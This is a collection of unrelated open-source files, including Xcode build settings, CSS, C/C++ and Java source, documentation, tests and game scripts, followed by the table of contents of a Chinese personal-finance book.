C99EEB2A2385796900FEE666 /* Debug */ = {
isa = XCBuildConfiguration;
buildSettings = {
ALWAYS_SEARCH_USER_PATHS = NO;
CLANG_ANALYZER_LOCALIZABILITY_NONLOCALIZED = YES;
CLANG_ANALYZER_NONNULL = YES;
CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE;
CLANG_CXX_LANGUAGE_STANDARD = "gnu++14";
CLANG_CXX_LIBRARY = "libc++";
CLANG_ENABLE_MODULES = YES;
CLANG_ENABLE_OBJC_ARC = YES;
CLANG_ENABLE_OBJC_WEAK = YES;
CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES;
CLANG_WARN_BOOL_CONVERSION = YES;
CLANG_WARN_COMMA = YES;
CLANG_WARN_CONSTANT_CONVERSION = YES;
CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES;
CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR;
CLANG_WARN_DOCUMENTATION_COMMENTS = YES;
CLANG_WARN_EMPTY_BODY = YES;
CLANG_WARN_ENUM_CONVERSION = YES;
CLANG_WARN_INFINITE_RECURSION = YES;
CLANG_WARN_INT_CONVERSION = YES;
CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES;
CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES;
CLANG_WARN_OBJC_LITERAL_CONVERSION = YES;
CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR;
CLANG_WARN_RANGE_LOOP_ANALYSIS = YES;
CLANG_WARN_STRICT_PROTOTYPES = YES;
CLANG_WARN_SUSPICIOUS_MOVE = YES;
CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE;
CLANG_WARN_UNREACHABLE_CODE = YES;
CLANG_WARN__DUPLICATE_METHOD_MATCH = YES;
COPY_PHASE_STRIP = NO;
DEBUG_INFORMATION_FORMAT = dwarf;
ENABLE_STRICT_OBJC_MSGSEND = YES;
ENABLE_TESTABILITY = YES;
GCC_C_LANGUAGE_STANDARD = gnu11;
GCC_DYNAMIC_NO_PIC = NO;
GCC_NO_COMMON_BLOCKS = YES;
GCC_OPTIMIZATION_LEVEL = 0;
GCC_PREPROCESSOR_DEFINITIONS = (
"DEBUG=1",
"$(inherited)",
);
GCC_WARN_64_TO_32_BIT_CONVERSION = YES;
GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR;
GCC_WARN_UNDECLARED_SELECTOR = YES;
GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE;
GCC_WARN_UNUSED_FUNCTION = YES;
GCC_WARN_UNUSED_VARIABLE = YES;
MACOSX_DEPLOYMENT_TARGET = 10.12;
MTL_ENABLE_DEBUG_INFO = INCLUDE_SOURCE;
MTL_FAST_MATH = YES;
ONLY_ACTIVE_ARCH = YES;
SDKROOT = macosx;
};
name = Debug;
};
C99EEB2B2385796900FEE666 /* Release */ = {
isa = XCBuildConfiguration;
buildSettings = {
ALWAYS_SEARCH_USER_PATHS = NO;
CLANG_ANALYZER_LOCALIZABILITY_NONLOCALIZED = YES;
CLANG_ANALYZER_NONNULL = YES;
CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE;
CLANG_CXX_LANGUAGE_STANDARD = "gnu++14";
CLANG_CXX_LIBRARY = "libc++";
CLANG_ENABLE_MODULES = YES;
CLANG_ENABLE_OBJC_ARC = YES;
CLANG_ENABLE_OBJC_WEAK = YES;
CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES;
CLANG_WARN_BOOL_CONVERSION = YES;
CLANG_WARN_COMMA = YES;
CLANG_WARN_CONSTANT_CONVERSION = YES;
CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES;
CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR;
CLANG_WARN_DOCUMENTATION_COMMENTS = YES;
CLANG_WARN_EMPTY_BODY = YES;
CLANG_WARN_ENUM_CONVERSION = YES;
CLANG_WARN_INFINITE_RECURSION = YES;
CLANG_WARN_INT_CONVERSION = YES;
CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES;
CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES;
CLANG_WARN_OBJC_LITERAL_CONVERSION = YES;
CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR;
CLANG_WARN_RANGE_LOOP_ANALYSIS = YES;
CLANG_WARN_STRICT_PROTOTYPES = YES;
CLANG_WARN_SUSPICIOUS_MOVE = YES;
CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE;
CLANG_WARN_UNREACHABLE_CODE = YES;
CLANG_WARN__DUPLICATE_METHOD_MATCH = YES;
COPY_PHASE_STRIP = NO;
DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym";
ENABLE_NS_ASSERTIONS = NO;
ENABLE_STRICT_OBJC_MSGSEND = YES;
GCC_C_LANGUAGE_STANDARD = gnu11;
GCC_NO_COMMON_BLOCKS = YES;
GCC_WARN_64_TO_32_BIT_CONVERSION = YES;
GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR;
GCC_WARN_UNDECLARED_SELECTOR = YES;
GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE;
GCC_WARN_UNUSED_FUNCTION = YES;
GCC_WARN_UNUSED_VARIABLE = YES;
MACOSX_DEPLOYMENT_TARGET = 10.12;
MTL_ENABLE_DEBUG_INFO = NO;
MTL_FAST_MATH = YES;
SDKROOT = macosx;
SWIFT_COMPILATION_MODE = wholemodule;
};
name = Release;
};
C99EEB2D2385796900FEE666 /* Debug */ = {
isa = XCBuildConfiguration;
baseConfigurationReference = DA7129FC389066F3A2227458 /* Pods-Bob.debug.xcconfig */;
buildSettings = {
ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
CLANG_ENABLE_MODULES = YES;
CODE_SIGN_ENTITLEMENTS = Bob/Bob.entitlements;
CODE_SIGN_IDENTITY = "-";
CODE_SIGN_STYLE = Automatic;
COMBINE_HIDPI_IMAGES = YES;
COPY_PHASE_STRIP = NO;
CURRENT_PROJECT_VERSION = 0.2.0.0;
GCC_PREFIX_HEADER = "$(SRCROOT)/Bob/PrefixHeader.pch";
INFOPLIST_FILE = Bob/Info.plist;
LD_RUNPATH_SEARCH_PATHS = (
"$(inherited)",
"@executable_path/../Frameworks",
);
MACOSX_DEPLOYMENT_TARGET = 10.12;
MARKETING_VERSION = 0.2.0;
PRODUCT_BUNDLE_IDENTIFIER = "com.ripperhe.Bob-debug";
PRODUCT_NAME = "$(TARGET_NAME)";
SWIFT_OBJC_BRIDGING_HEADER = "Bob/Bob-Bridging-Header.h";
SWIFT_OPTIMIZATION_LEVEL = "-Onone";
SWIFT_VERSION = 5.0;
};
name = Debug;
};
C99EEB2E2385796900FEE666 /* Release */ = {
isa = XCBuildConfiguration;
baseConfigurationReference = 3A08EDDF832035FD57B6A226 /* Pods-Bob.release.xcconfig */;
buildSettings = {
ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
CLANG_ENABLE_MODULES = YES;
CODE_SIGN_ENTITLEMENTS = Bob/Bob.entitlements;
CODE_SIGN_IDENTITY = "-";
CODE_SIGN_STYLE = Automatic;
COMBINE_HIDPI_IMAGES = YES;
COPY_PHASE_STRIP = NO;
CURRENT_PROJECT_VERSION = 0.2.0.0;
GCC_PREFIX_HEADER = "$(SRCROOT)/Bob/PrefixHeader.pch";
INFOPLIST_FILE = Bob/Info.plist;
LD_RUNPATH_SEARCH_PATHS = (
"$(inherited)",
"@executable_path/../Frameworks",
);
MACOSX_DEPLOYMENT_TARGET = 10.12;
MARKETING_VERSION = 0.2.0;
PRODUCT_BUNDLE_IDENTIFIER = com.ripperhe.Bob;
PRODUCT_NAME = "$(TARGET_NAME)";
SWIFT_OBJC_BRIDGING_HEADER = "Bob/Bob-Bridging-Header.h";
SWIFT_VERSION = 5.0;
};
name = Release;
};
/* End XCBuildConfiguration section */
/* Begin XCConfigurationList section */
C90BE31A239F38EC00ADE88B /* Build configuration list for PBXNativeTarget "BobHelper" */ = {
isa = XCConfigurationList;
buildConfigurations = (
C90BE31B239F38EC00ADE88B /* Debug */,
C90BE31C239F38EC00ADE88B /* Release */,
);
defaultConfigurationIsVisible = 0;
defaultConfigurationName = Release;
};
C99EEB132385796700FEE666 /* Build configuration list for PBXProject "Bob" */ = {
isa = XCConfigurationList;
buildConfigurations = (
C99EEB2A2385796900FEE666 /* Debug */,
C99EEB2B2385796900FEE666 /* Release */,
);
defaultConfigurationIsVisible = 0;
defaultConfigurationName = Release;
};
C99EEB2C2385796900FEE666 /* Build configuration list for PBXNativeTarget "Bob" */ = {
isa = XCConfigurationList;
buildConfigurations = (
C99EEB2D2385796900FEE666 /* Debug */,
C99EEB2E2385796900FEE666 /* Release */,
);
defaultConfigurationIsVisible = 0;
defaultConfigurationName = Release;
};
/* End XCConfigurationList section */
};
rootObject = C99EEB102385796700FEE666 /* Project object */;
}
| {
"pile_set_name": "Github"
} |
@import url("../common/domButtons/DomButtonColorButtons-compat.css");
@import url("../common/domButtons/DomButtonBlackCircleCross-compat.css");
/* dojox.mobile.IconContainer */
.mblIconItemPaneHeading {
background-image: url(compat/icon-content-heading-bg.png);
}
.dj_gecko .mblIconItemPaneHeading {
background-image: -moz-linear-gradient(top, #e0e4e7 0%, #c4ccd2 50%, #bfc8ce 50%, #b4bec6 100%);
}
.dj_ie7 .mblIconAreaInner {
font-size: 60px;
}
| {
"pile_set_name": "Github"
} |
# Provider for Java Print Service
sun.print.PrintServiceLookupProvider
| {
"pile_set_name": "Github"
} |
<html>
<head>
<title>libogg - function - oggpack_writeinit</title>
<link rel=stylesheet href="style.css" type="text/css">
</head>
<body bgcolor=white text=black link="#5555ff" alink="#5555ff" vlink="#5555ff">
<table border=0 width=100%>
<tr>
<td><p class=tiny>libogg documentation</p></td>
<td align=right><p class=tiny>libogg release 1.3.0 - 20110804</p></td>
</tr>
</table>
<h1>oggpack_writeinit</h1>
<p><i>declared in "ogg/ogg.h";</i></p>
<p>This function initializes an <a href="oggpack_buffer.html">oggpack_buffer</a> for writing using the Ogg <a href="bitpacking.html">bitpacking</a> functions.
<br><br>
<table border=0 color=black cellspacing=0 cellpadding=7>
<tr bgcolor=#cccccc>
<td>
<pre><b>
void oggpack_writeinit(<a href="oggpack_buffer.html">oggpack_buffer</a> *b);
</b></pre>
</td>
</tr>
</table>
<h3>Parameters</h3>
<dl>
<dt><i>b</i></dt>
<dd>Buffer to be used for writing. This is an ordinary data buffer with some extra markers to ease bit navigation and manipulation.</dd>
</dl>
<h3>Return Values</h3>
<blockquote>
<li>
No values are returned.</li>
</blockquote>
<p>
<br><br>
<hr noshade>
<table border=0 width=100%>
<tr valign=top>
<td><p class=tiny>copyright © 2000-2011 Xiph.Org</p></td>
<td align=right><p class=tiny><a href="http://www.xiph.org/ogg/">Ogg Container Format</a></p></td>
</tr><tr>
<td><p class=tiny>libogg documentation</p></td>
<td align=right><p class=tiny>libogg release 1.3.0 - 20110804</p></td>
</tr>
</table>
</body>
</html>
| {
"pile_set_name": "Github"
} |
# County Title
title = c_nye_pass
# Settlements
max_settlements = 1
b_amargosa_valley_CA = castle
# Misc
culture = paiute
religion = cetic
#History
| {
"pile_set_name": "Github"
} |
// RUN: %zap_compare_object FILE="file1.cpp"
// RUN: %zap_compare_object FILE="file2.cpp"
// RUN: %zap_compare_object FILE="file1.cpp"
// RUN: %zap_compare_object FILE="file2.cpp"
// Bug 426
| {
"pile_set_name": "Github"
} |
/*-
* Copyright 2007 John Birrell <[email protected]>
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
* $FreeBSD$
*
*/
#include <sys/cdefs.h>
#include <sys/types.h>
#include <sys/conf.h>
#include <sys/cpuvar.h>
#include <sys/errno.h>
#include <sys/jail.h>
#include <sys/kernel.h>
#include <sys/misc.h>
#include <sys/module.h>
#include <sys/mutex.h>
cpu_core_t cpu_core[MAXCPU];
kmutex_t cpu_lock;
solaris_cpu_t solaris_cpu[MAXCPU];
int nsec_per_tick;
/*
* OpenSolaris subsystem initialisation.
*/
static void
opensolaris_load(void *dummy)
{
int i;
/*
* "Enable" all CPUs even though they may not exist just so
* that the asserts work. On FreeBSD, if a CPU exists, it is
* enabled.
*/
for (i = 0; i < MAXCPU; i++) {
solaris_cpu[i].cpuid = i;
solaris_cpu[i].cpu_flags &= CPU_ENABLE;
}
mutex_init(&cpu_lock, "OpenSolaris CPU lock", MUTEX_DEFAULT, NULL);
nsec_per_tick = NANOSEC / hz;
}
SYSINIT(opensolaris_register, SI_SUB_OPENSOLARIS, SI_ORDER_FIRST, opensolaris_load, NULL);
static void
opensolaris_unload(void)
{
mutex_destroy(&cpu_lock);
}
SYSUNINIT(opensolaris_unregister, SI_SUB_OPENSOLARIS, SI_ORDER_FIRST, opensolaris_unload, NULL);
static int
opensolaris_modevent(module_t mod __unused, int type, void *data __unused)
{
int error = 0;
switch (type) {
case MOD_LOAD:
utsname.nodename = prison0.pr_hostname;
break;
case MOD_UNLOAD:
break;
case MOD_SHUTDOWN:
break;
default:
error = EOPNOTSUPP;
break;
}
return (error);
}
DEV_MODULE(opensolaris, opensolaris_modevent, NULL);
MODULE_VERSION(opensolaris, 1);
| {
"pile_set_name": "Github"
} |
/****************************************************************************
**
** Copyright (C) 2012 Digia Plc and/or its subsidiary(-ies).
** Contact: http://www.qt-project.org/legal
**
** This file is part of the QtSystemKit module of the Qt Toolkit.
**
** $QT_BEGIN_LICENSE:LGPL$
** Commercial License Usage
** Licensees holding valid commercial Qt licenses may use this file in
** accordance with the commercial license agreement provided with the
** Software or, alternatively, in accordance with the terms contained in
** a written agreement between you and Digia. For licensing terms and
** conditions see http://qt.digia.com/licensing. For further information
** use the contact form at http://qt.digia.com/contact-us.
**
** GNU Lesser General Public License Usage
** Alternatively, this file may be used under the terms of the GNU Lesser
** General Public License version 2.1 as published by the Free Software
** Foundation and appearing in the file LICENSE.LGPL included in the
** packaging of this file. Please review the following information to
** ensure the GNU Lesser General Public License version 2.1 requirements
** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
**
** In addition, as a special exception, Digia gives you certain additional
** rights. These rights are described in the Digia Qt LGPL Exception
** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
**
** GNU General Public License Usage
** Alternatively, this file may be used under the terms of the GNU
** General Public License version 3.0 as published by the Free Software
** Foundation and appearing in the file LICENSE.GPL included in the
** packaging of this file. Please review the following information to
** ensure the GNU General Public License version 3.0 requirements will be
** met: http://www.gnu.org/copyleft/gpl.html.
**
**
** $QT_END_LICENSE$
**
****************************************************************************/
//
// W A R N I N G
// -------------
//
// This file is not part of the Qt API. It exists purely as an
// implementation detail. This header file may change from version to
// version without notice, or even be removed.
//
// We mean it.
//
#ifndef QSYSTEMINFOGLOBAL_H
#define QSYSTEMINFOGLOBAL_H
#include <QtCore/qglobal.h>
/*
#ifndef QT_STATIC
# if defined(QT_BUILD_SYSTEMINFO_LIB)
# define Q_SYSTEMINFO_EXPORT Q_DECL_EXPORT
# else
# define Q_SYSTEMINFO_EXPORT Q_DECL_IMPORT
# endif
#else
# define Q_SYSTEMINFO_EXPORT
#endif
*/
#define Q_SYSTEMINFO_EXPORT
#endif // QSYSTEMINFOGLOBAL_H
| {
"pile_set_name": "Github"
} |
/* globals describe, expect, it */
import React from 'react'
import { mount } from 'enzyme'
import Button from './Button'
describe('Button', () => {
const wrapper = (extraProps = {}) => mount(
<Button
tabSlug='tab-1'
index={2}
className='module-search-in-between'
isLessonHighlight={false}
isLastAddButton={false}
{...extraProps}
/>
)
it('should have .lesson-highlight', () => {
const w = wrapper({ isLessonHighlight: true })
expect(w.find('button.search.lesson-highlight')).toHaveLength(1)
})
})
| {
"pile_set_name": "Github"
} |
"""
Halite II Python 3 starter kit
See MyBot.py for a basic usage example. In short, you should initialize() at
the start, then in a loop, call get_map() to get the current game state, then
build up a list of commands and send them with send_command_queue().
"""
from . import collision, constants, entity, game_map, networking
from .networking import Game
| {
"pile_set_name": "Github"
} |
/**
* Creates a unary function that invokes `func` with its argument transformed.
*
* @private
* @param {Function} func The function to wrap.
* @param {Function} transform The argument transform.
* @returns {Function} Returns the new function.
*/
function overArg(func, transform) {
return function(arg) {
return func(transform(arg));
};
}
module.exports = overArg;
| {
"pile_set_name": "Github"
} |
---
title: Istiod
test: n/a
---
The Istiod component is the consolidated monolithic control plane binary that encapsulates the functions of Pilot, Citadel, Mixer, and Galley.
[Learn more about Istiod](/blog/2020/tradewinds-2020/#fewer-moving-parts).
| {
"pile_set_name": "Github"
} |
from ED6ScenarioHelper import *
def main():
# 卢安
CreateScenaFile(
FileName = 'T2402 ._SN',
MapName = 'Ruan',
Location = 'T2402.x',
MapIndex = 1,
MapDefaultBGM = "ed60015",
Flags = 0,
EntryFunctionIndex = 0xFFFF,
Reserved = 0,
IncludedScenario = [
'',
'',
'',
'',
'',
'',
'',
''
],
)
BuildStringList(
'@FileName', # 8
'梅威海道方向', # 9
)
DeclEntryPoint(
Unknown_00 = 0,
Unknown_04 = 0,
Unknown_08 = 6000,
Unknown_0C = 4,
Unknown_0E = 0,
Unknown_10 = 0,
Unknown_14 = 9500,
Unknown_18 = -10000,
Unknown_1C = 0,
Unknown_20 = 0,
Unknown_24 = 0,
Unknown_28 = 2800,
Unknown_2C = 262,
Unknown_30 = 45,
Unknown_32 = 0,
Unknown_34 = 360,
Unknown_36 = 0,
Unknown_38 = 0,
Unknown_3A = 0,
InitScenaIndex = 0,
InitFunctionIndex = 0,
EntryScenaIndex = 0,
EntryFunctionIndex = 1,
)
DeclNpc(
X = 1060,
Z = 0,
Y = -23220,
Direction = 0,
Unknown2 = 0,
Unknown3 = 0,
ChipIndex = 0x0,
NpcIndex = 0xFF,
InitFunctionIndex = -1,
InitScenaIndex = -1,
TalkFunctionIndex = -1,
TalkScenaIndex = -1,
)
ScpFunction(
"Function_0_CA", # 00, 0
"Function_1_CB", # 01, 1
)
def Function_0_CA(): pass
label("Function_0_CA")
Return()
# Function_0_CA end
def Function_1_CB(): pass
label("Function_1_CB")
OP_16(0x2, 0xFA0, 0xFFFE0C00, 0xFFFE5A20, 0x30067)
Return()
# Function_1_CB end
SaveToFile()
Try(main)
| {
"pile_set_name": "Github"
} |
// Copyright (c) 2001-2011 Hartmut Kaiser
// Copyright (c) 2001-2011 Joel de Guzman
//
// Distributed under the Boost Software License, Version 1.0. (See accompanying
// file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)
#if !defined(SPIRIT_KARMA_ALTERNATIVE_MAR_01_2007_1124AM)
#define SPIRIT_KARMA_ALTERNATIVE_MAR_01_2007_1124AM
#if defined(_MSC_VER)
#pragma once
#endif
#include <boost/spirit/home/karma/domain.hpp>
#include <boost/spirit/home/karma/directive/buffer.hpp>
#include <boost/spirit/home/support/unused.hpp>
#include <boost/spirit/home/support/utree/utree_traits_fwd.hpp>
#include <boost/spirit/home/karma/detail/attributes.hpp>
#include <boost/spirit/home/support/detail/hold_any.hpp>
#include <boost/spirit/home/karma/detail/output_iterator.hpp>
#include <boost/spirit/home/support/container.hpp>
#include <boost/utility/enable_if.hpp>
#include <boost/variant.hpp>
#include <boost/detail/workaround.hpp>
///////////////////////////////////////////////////////////////////////////////
namespace boost { namespace spirit { namespace karma { namespace detail
{
///////////////////////////////////////////////////////////////////////////
// execute a generator if the given Attribute type is compatible
///////////////////////////////////////////////////////////////////////////
// this gets instantiated if the Attribute type is _not_ compatible with
// the generator
template <typename Component, typename Attribute, typename Expected
, typename Enable = void>
struct alternative_generate
{
template <typename OutputIterator, typename Context, typename Delimiter>
static bool
call(Component const&, OutputIterator&, Context&, Delimiter const&
, Attribute const&, bool& failed)
{
failed = true;
return false;
}
};
template <typename Component>
struct alternative_generate<Component, unused_type, unused_type>
{
template <typename OutputIterator, typename Context, typename Delimiter>
static bool
call(Component const& component, OutputIterator& sink, Context& ctx
, Delimiter const& d, unused_type, bool&)
{
#if BOOST_WORKAROUND(BOOST_MSVC, BOOST_TESTED_AT(1600))
component; // suppresses warning: C4100: 'component' : unreferenced formal parameter
#endif
// return true if any of the generators succeed
return component.generate(sink, ctx, d, unused);
}
};
// this gets instantiated if there is no Attribute given for the
// alternative generator
template <typename Component, typename Expected>
struct alternative_generate<Component, unused_type, Expected>
: alternative_generate<Component, unused_type, unused_type> {};
// this gets instantiated if the generator does not expect to receive an
// Attribute (the generator is self contained).
template <typename Component, typename Attribute>
struct alternative_generate<Component, Attribute, unused_type>
: alternative_generate<Component, unused_type, unused_type> {};
// this gets instantiated if the Attribute type is compatible to the
// generator
template <typename Component, typename Attribute, typename Expected>
struct alternative_generate<Component, Attribute, Expected
, typename enable_if<
traits::compute_compatible_component<Expected, Attribute, karma::domain> >::type>
{
template <typename OutputIterator, typename Context, typename Delimiter>
static bool
call(Component const& component, OutputIterator& sink
, Context& ctx, Delimiter const& d, Attribute const& attr, bool&)
{
#if BOOST_WORKAROUND(BOOST_MSVC, BOOST_TESTED_AT(1600))
component; // suppresses warning: C4100: 'component' : unreferenced formal parameter
#endif
return call(component, sink, ctx, d, attr
, spirit::traits::not_is_variant<Attribute, karma::domain>());
}
template <typename OutputIterator, typename Context, typename Delimiter>
static bool
call(Component const& component, OutputIterator& sink
, Context& ctx, Delimiter const& d, Attribute const& attr, mpl::true_)
{
#if BOOST_WORKAROUND(BOOST_MSVC, BOOST_TESTED_AT(1600))
component; // suppresses warning: C4100: 'component' : unreferenced formal parameter
#endif
return component.generate(sink, ctx, d, attr);
}
template <typename OutputIterator, typename Context, typename Delimiter>
static bool
call(Component const& component, OutputIterator& sink
, Context& ctx, Delimiter const& d, Attribute const& attr, mpl::false_)
{
#if BOOST_WORKAROUND(BOOST_MSVC, BOOST_TESTED_AT(1600))
component; // suppresses warning: C4100: 'component' : unreferenced formal parameter
#endif
typedef
traits::compute_compatible_component<Expected, Attribute, domain>
component_type;
// if we got passed an empty optional, just fail generation
if (!traits::has_optional_value(attr))
return false;
// make sure, the content of the passed variant matches our
// expectations
typename traits::optional_attribute<Attribute>::type attr_ =
traits::optional_value(attr);
if (!component_type::is_compatible(spirit::traits::which(attr_)))
return false;
// returns true if any of the generators succeed
typedef typename component_type::compatible_type compatible_type;
return component.generate(sink, ctx, d
, boost::get<compatible_type>(attr_));
}
};
///////////////////////////////////////////////////////////////////////////
// alternative_generate_function: a functor supplied to fusion::any which
// will be executed for every generator in a given alternative generator
// expression
///////////////////////////////////////////////////////////////////////////
template <typename OutputIterator, typename Context, typename Delimiter,
typename Attribute, typename Strict>
struct alternative_generate_function
{
alternative_generate_function(OutputIterator& sink_, Context& ctx_
, Delimiter const& d, Attribute const& attr_)
: sink(sink_), ctx(ctx_), delim(d), attr(attr_) {}
template <typename Component>
bool operator()(Component const& component)
{
typedef
typename traits::attribute_of<Component, Context>::type
expected_type;
typedef
alternative_generate<Component, Attribute, expected_type>
generate;
// wrap the given output iterator avoid output as long as one
// component fails
detail::enable_buffering<OutputIterator> buffering(sink);
bool r = false;
bool failed = false; // will be ignored
{
detail::disable_counting<OutputIterator> nocounting(sink);
r = generate::call(component, sink, ctx, delim, attr, failed);
}
if (r)
buffering.buffer_copy();
return r;
}
// avoid double buffering
template <typename Component>
bool operator()(buffer_directive<Component> const& component)
{
typedef typename
traits::attribute_of<Component, Context>::type
expected_type;
typedef alternative_generate<
buffer_directive<Component>, Attribute, expected_type>
generate;
bool failed = false; // will be ignored
return generate::call(component, sink, ctx, delim, attr, failed);
}
OutputIterator& sink;
Context& ctx;
Delimiter const& delim;
Attribute const& attr;
private:
// silence MSVC warning C4512: assignment operator could not be generated
alternative_generate_function& operator= (alternative_generate_function const&);
};
// specialization for strict alternatives
template <typename OutputIterator, typename Context, typename Delimiter,
typename Attribute>
struct alternative_generate_function<
OutputIterator, Context, Delimiter, Attribute, mpl::true_>
{
alternative_generate_function(OutputIterator& sink_, Context& ctx_
, Delimiter const& d, Attribute const& attr_)
: sink(sink_), ctx(ctx_), delim(d), attr(attr_), failed(false) {}
template <typename Component>
bool operator()(Component const& component)
{
typedef
typename traits::attribute_of<Component, Context>::type
expected_type;
typedef
alternative_generate<Component, Attribute, expected_type>
generate;
if (failed)
return false; // give up when already failed
// wrap the given output iterator avoid output as long as one
// component fails
detail::enable_buffering<OutputIterator> buffering(sink);
bool r = false;
{
detail::disable_counting<OutputIterator> nocounting(sink);
r = generate::call(component, sink, ctx, delim, attr, failed);
}
if (r && !failed)
{
buffering.buffer_copy();
return true;
}
return false;
}
OutputIterator& sink;
Context& ctx;
Delimiter const& delim;
Attribute const& attr;
bool failed;
private:
// silence MSVC warning C4512: assignment operator could not be generated
alternative_generate_function& operator= (alternative_generate_function const&);
};
}}}}
#endif
| {
"pile_set_name": "Github"
} |
package com.forgeessentials.teleport;
import java.util.List;
import net.minecraft.command.CommandException;
import net.minecraft.command.ICommandSender;
import net.minecraft.entity.player.EntityPlayerMP;
import net.minecraft.init.Blocks;
import net.minecraft.server.MinecraftServer;
import net.minecraft.util.math.BlockPos;
import net.minecraftforge.fml.common.FMLCommonHandler;
import net.minecraftforge.server.permission.DefaultPermissionLevel;
import net.minecraftforge.server.permission.PermissionAPI;
import com.forgeessentials.api.UserIdent;
import com.forgeessentials.commons.selections.WarpPoint;
import com.forgeessentials.core.commands.ForgeEssentialsCommandBase;
import com.forgeessentials.core.misc.TeleportHelper;
import com.forgeessentials.core.misc.TranslatedCommandException;
public class CommandTop extends ForgeEssentialsCommandBase
{
@Override
public String getName()
{
return "fetop";
}
@Override
public String[] getDefaultAliases()
{
return new String[] { "top" };
}
@Override
public String getUsage(ICommandSender sender)
{
return "/top <player> Teleport you or another player to the top of the world.";
}
@Override
public boolean canConsoleUseCommand()
{
return true;
}
@Override
public DefaultPermissionLevel getPermissionLevel()
{
return DefaultPermissionLevel.ALL;
}
@Override
public String getPermissionNode()
{
return TeleportModule.PERM_TOP;
}
@Override
public void processCommandPlayer(MinecraftServer server, EntityPlayerMP sender, String[] args) throws CommandException
{
if (args.length == 0)
{
top(sender);
}
else if (args.length == 1 && PermissionAPI.hasPermission(sender, TeleportModule.PERM_TOP_OTHERS))
{
EntityPlayerMP player = UserIdent.getPlayerByMatchOrUsername(sender, args[0]);
if (player != null)
{
top(player);
}
else
throw new TranslatedCommandException("Player %s does not exist, or is not online.", args[0]);
}
else
throw new TranslatedCommandException("Improper syntax. Please try this instead: <player>");
}
@Override
public void processCommandConsole(MinecraftServer server, ICommandSender sender, String[] args) throws CommandException
{
if (args.length == 1)
{
EntityPlayerMP player = UserIdent.getPlayerByMatchOrUsername(sender, args[0]);
if (player != null)
{
top(player);
}
else
throw new TranslatedCommandException("Player %s does not exist, or is not online.", args[0]);
}
else
throw new TranslatedCommandException("Improper syntax. Please try this instead: <player>");
}
public void top(EntityPlayerMP player) throws CommandException
{
WarpPoint point = new WarpPoint(player);
point.setY(player.world.getPrecipitationHeight(player.getPosition()).getY());
while (player.world.getBlockState(point.getBlockPos()).getBlock() == Blocks.AIR)
{
point.setY(point.getY() - 1);
}
point.setY(point.getY() + 1);
TeleportHelper.teleport(player, point);
}
@Override
public List<String> getTabCompletions(MinecraftServer server, ICommandSender sender, String[] args, BlockPos pos)
{
if (args.length == 1)
{
return matchToPlayers(args);
}
else
{
return null;
}
}
}
| {
"pile_set_name": "Github"
} |
# 聊聊钱
<!-- MarkdownTOC -->
- 我最需要的理财常识书
- 第一章 理财不仅是一种行为,更是一种态度
- 1.让短期的流动资金成为你的长期投资
- 2.通货膨胀,警惕这只偷走你财富的“小恶魔”
- 3.能让你躺着也赚钱的神秘武器——复利
- 4.你不计较生活,生活就会来计较你——算算你的生活成本有多少
- 5.对沉没成本的处理,关系你的一生
- 6.信用卡让你离富翁梦越来越远
- 7.记账是个万灵药,夫妻感情都能好
- 9.花钱也要花得有技术含量
- 10.银行也可能忽悠你——理财产品陷阱大公开
- 11.想要日子过得好,就要避开理财误区
- 1.什么都会贬值,能力不会
- 3.把工资条变成你的理财小帮手
- 4.想要一本万利,那就投资人脉吧
- 1.工作,也是自我累积的过程
- 2.跳槽跳不好,荷包缩水一大半
- 3.面子是浮云,底子才是真
- 5.掌握了这些,高薪不是那么难
- 2.学学巴菲特,滚个财富大雪球
- 3.黄金是个好东西,但不懂套路会“坑爹”
- 5.别让你的公积金躺在银行睡大觉
- 6.股票,别上瘾就好
